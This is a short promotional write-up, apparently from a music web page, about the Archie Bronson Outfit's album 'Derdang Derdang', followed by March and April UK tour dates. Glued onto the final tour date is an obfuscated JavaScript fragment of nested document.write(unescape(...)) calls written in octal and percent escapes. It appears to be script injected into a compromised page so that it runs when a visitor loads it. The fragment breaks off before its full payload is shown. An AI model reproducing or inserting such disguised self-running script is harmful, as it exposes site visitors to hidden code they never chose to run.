Recorded with producer Jacquire King (Tom Waits, Kings Of Leon) the latest Archie Bronson Outfit is a compact marvel of high-strung energy and kick-bollock ramshackling they're, quite sensibly, calling "Derdang Derdang".
Before we forget, here's some basic facts you may have missed: born in Kent and London, the ABO came together in Wiltshire, but have been based in South London for the whole of the millennium so far. Their first album was called "Fur". Both albums feature secret fourth member Duke Garwood, who plays clarinet and rhaita (a Moroccan reed instrument) when the occasion demnds.
The latest Outfit sound is more confident, exciting and approachable than ever. You can dance to it. Chat up members of the opposite sex to it. Eat jerk chicken to it. I've seen it done.
This is strong, heartfelt music that believes in its power and wants to get busy under your skin. Let it come in.
MARCH WITH CLEARLAKE:
23 Taunton, Club Aura
24 Cardiff, Barfly
25 Brighton, Freebutt
26 Winchester, Railway
27 Wolverhampton, Little Civic
28 Leicester, The Charlotte
30 Salisbury, Old Ale House
WITH COMANECHI & DUKE Garwood:
2 Manchester, Late Room
3 Birmingham, Barfly
7 LONDON, Tate Britain
10 Glasgow, King Tuts
11 Aberdeen, Tunnels
13 Edinburgh, Cabaret Voltaire
19 Southampton, Joiners
20 LONDON, Spitz Blues Festival
25 Sheffield, 1917 Klub dNR Live
26 Liverpool, Magnet
27 Leeds, Vine
28 Lancaster, Rockfeedback
29 Bolton, Number 15document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;